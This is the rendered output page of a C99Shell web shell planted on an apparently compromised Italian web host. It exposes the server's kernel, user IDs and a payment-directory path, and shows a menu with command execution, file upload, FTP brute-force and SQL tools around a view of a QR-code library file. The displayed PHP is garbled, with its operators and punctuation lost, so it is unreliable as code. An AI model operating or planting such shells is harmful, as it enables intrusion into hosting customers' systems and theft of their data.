!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/php/phpqrcode/   drwxr-xr-x
Free 182.54 GB of 490.84 GB (37.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     qrsplit.php (11.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * PHP QR Code encoder
 *
 * Input splitting classes
 *
 * Based on libqrencode C library distributed under LGPL 2.1
 * Copyright (C) 2006, 2007, 2008, 2009 Kentaro Fukuchi <fukuchi@megaui.net>
 *
 * PHP QR Code is distributed under LGPL 3
 * Copyright (C) 2010 Dominik Dzienia <deltalab at poczta dot fm>
 *
 * The following data / specifications are taken from
 * "Two dimensional symbol -- QR-code -- Basic Specification" (JIS X0510:2004)
 *  or
 * "Automatic identification and data capture techniques -- 
 *  QR Code 2005 bar code symbology specification" (ISO/IEC 18004:2006)
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
 */
    
class QRsplit {

        public 
$dataStr '';
        public 
$input;
        public 
$modeHint;

        
//----------------------------------------------------------------------
        
public function __construct($dataStr$input$modeHint
        {
            
$this->dataStr  $dataStr;
            
$this->input    $input;
            
$this->modeHint $modeHint;
        }
        
        
//----------------------------------------------------------------------
        
public static function isdigitat($str$pos)
        {    
            if (
$pos >= strlen($str))
                return 
false;
            
            return ((
ord($str[$pos]) >= ord('0'))&&(ord($str[$pos]) <= ord('9')));
        }
        
        
//----------------------------------------------------------------------
        
public static function isalnumat($str$pos)
        {
            if (
$pos >= strlen($str))
                return 
false;
                
            return (
QRinput::lookAnTable(ord($str[$pos])) >= 0);
        }

        
//----------------------------------------------------------------------
        
public function identifyMode($pos)
        {
            if (
$pos >= strlen($this->dataStr)) 
                return 
QR_MODE_NUL;
                
            
$c $this->dataStr[$pos];
            
            if(
self::isdigitat($this->dataStr$pos)) {
                return 
QR_MODE_NUM;
            } else if(
self::isalnumat($this->dataStr$pos)) {
                return 
QR_MODE_AN;
            } else if(
$this->modeHint == QR_MODE_KANJI) {
            
                if (
$pos+strlen($this->dataStr)) 
                {
                    
$d $this->dataStr[$pos+1];
                    
$word = (ord($c) << 8) | ord($d);
                    if((
$word >= 0x8140 && $word <= 0x9ffc) || ($word >= 0xe040 && $word <= 0xebbf)) {
                        return 
QR_MODE_KANJI;
                    }
                }
            }

            return 
QR_MODE_8;
        } 
        
        
//----------------------------------------------------------------------
        
public function eatNum()
        {
            
$ln QRspec::lengthIndicator(QR_MODE_NUM$this->input->getVersion());

            
$p 0;
            while(
self::isdigitat($this->dataStr$p)) {
                
$p++;
            }
            
            
$run $p;
            
$mode $this->identifyMode($p);
            
            if(
$mode == QR_MODE_8) {
                
$dif QRinput::estimateBitsModeNum($run) + $ln
                     
QRinput::estimateBitsMode8(1)         // + 4 + l8
                     
QRinput::estimateBitsMode8($run 1); // - 4 - l8
                
if($dif 0) {
                    return 
$this->eat8();
                }
            }
            if(
$mode == QR_MODE_AN) {
                
$dif QRinput::estimateBitsModeNum($run) + $ln
                     
QRinput::estimateBitsModeAn(1)        // + 4 + la
                     
QRinput::estimateBitsModeAn($run 1);// - 4 - la
                
if($dif 0) {
                    return 
$this->eatAn();
                }
            }
            
            
$ret $this->input->append(QR_MODE_NUM$runstr_split($this->dataStr));
            if(
$ret 0)
                return -
1;

            return 
$run;
        }
        
        
//----------------------------------------------------------------------
        
public function eatAn()
        {
            
$la QRspec::lengthIndicator(QR_MODE_AN,  $this->input->getVersion());
            
$ln QRspec::lengthIndicator(QR_MODE_NUM$this->input->getVersion());

            
$p 0;
            
            while(
self::isalnumat($this->dataStr$p)) {
                if(
self::isdigitat($this->dataStr$p)) {
                    
$q $p;
                    while(
self::isdigitat($this->dataStr$q)) {
                        
$q++;
                    }
                    
                    
$dif QRinput::estimateBitsModeAn($p// + 4 + la
                         
QRinput::estimateBitsModeNum($q $p) + $ln
                         
QRinput::estimateBitsModeAn($q); // - 4 - la
                         
                    
if($dif 0) {
                        break;
                    } else {
                        
$p $q;
                    }
                } else {
                    
$p++;
                }
            }

            
$run $p;

            if(!
self::isalnumat($this->dataStr$p)) {
                
$dif QRinput::estimateBitsModeAn($run) + $la
                     
QRinput::estimateBitsMode8(1// + 4 + l8
                      
QRinput::estimateBitsMode8($run 1); // - 4 - l8
                
if($dif 0) {
                    return 
$this->eat8();
                }
            }

            
$ret $this->input->append(QR_MODE_AN$runstr_split($this->dataStr));
            if(
$ret 0)
                return -
1;

            return 
$run;
        }
        
        
//----------------------------------------------------------------------
        
public function eatKanji()
        {
            
$p 0;
            
            while(
$this->identifyMode($p) == QR_MODE_KANJI) {
                
$p += 2;
            }
            
            
$ret $this->input->append(QR_MODE_KANJI$pstr_split($this->dataStr));
            if(
$ret 0)
                return -
1;

            return 
$run;
        }

        
//----------------------------------------------------------------------
        
public function eat8()
        {
            
$la QRspec::lengthIndicator(QR_MODE_AN$this->input->getVersion());
            
$ln QRspec::lengthIndicator(QR_MODE_NUM$this->input->getVersion());

            
$p 1;
            
$dataStrLen strlen($this->dataStr);
            
            while(
$p $dataStrLen) {
                
                
$mode $this->identifyMode($p);
                if(
$mode == QR_MODE_KANJI) {
                    break;
                }
                if(
$mode == QR_MODE_NUM) {
                    
$q $p;
                    while(
self::isdigitat($this->dataStr$q)) {
                        
$q++;
                    }
                    
$dif QRinput::estimateBitsMode8($p// + 4 + l8
                         
QRinput::estimateBitsModeNum($q $p) + $ln
                         
QRinput::estimateBitsMode8($q); // - 4 - l8
                    
if($dif 0) {
                        break;
                    } else {
                        
$p $q;
                    }
                } else if(
$mode == QR_MODE_AN) {
                    
$q $p;
                    while(
self::isalnumat($this->dataStr$q)) {
                        
$q++;
                    }
                    
$dif QRinput::estimateBitsMode8($p)  // + 4 + l8
                         
QRinput::estimateBitsModeAn($q $p) + $la
                         
QRinput::estimateBitsMode8($q); // - 4 - l8
                    
if($dif 0) {
                        break;
                    } else {
                        
$p $q;
                    }
                } else {
                    
$p++;
                }
            }

            
$run $p;
            
$ret $this->input->append(QR_MODE_8$runstr_split($this->dataStr));
            
            if(
$ret 0)
                return -
1;

            return 
$run;
        }

        
//----------------------------------------------------------------------
        
public function splitString()
        {
            while (
strlen($this->dataStr) > 0)
            {
                if(
$this->dataStr == '')
                    return 
0;

                
$mode $this->identifyMode(0);
                
                switch (
$mode) {
                    case 
QR_MODE_NUM$length $this->eatNum(); break;
                    case 
QR_MODE_AN:  $length $this->eatAn(); break;
                    case 
QR_MODE_KANJI:
                        if (
$hint == QR_MODE_KANJI)
                                
$length $this->eatKanji();
                        else    
$length $this->eat8();
                        break;
                    default: 
$length $this->eat8(); break;
                
                }

                if(
$length == 0) return 0;
                if(
$length 0)  return -1;
                
                
$this->dataStr substr($this->dataStr$length);
            }
        }

        
//----------------------------------------------------------------------
        
public function toUpper()
        {
            
$stringLen strlen($this->dataStr);
            
$p 0;
            
            while (
$p<$stringLen) {
                
$mode self::identifyMode(substr($this->dataStr$p), $this->modeHint);
                if(
$mode == QR_MODE_KANJI) {
                    
$p += 2;
                } else {
                    if (
ord($this->dataStr[$p]) >= ord('a') && ord($this->dataStr[$p]) <= ord('z')) {
                        
$this->dataStr[$p] = chr(ord($this->dataStr[$p]) - 32);
                    }
                    
$p++;
                }
            }

            return 
$this->dataStr;
        }

        
//----------------------------------------------------------------------
        
public static function splitStringToQRinput($stringQRinput $input$modeHint$casesensitive true)
        {
            if(
is_null($string) || $string == '\0' || $string == '') {
                throw new 
Exception('empty string!!!');
            }

            
$split = new QRsplit($string$input$modeHint);
            
            if(!
$casesensitive)
                
$split->toUpper();
                
            return 
$split->splitString();
        }
    }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0097 ]--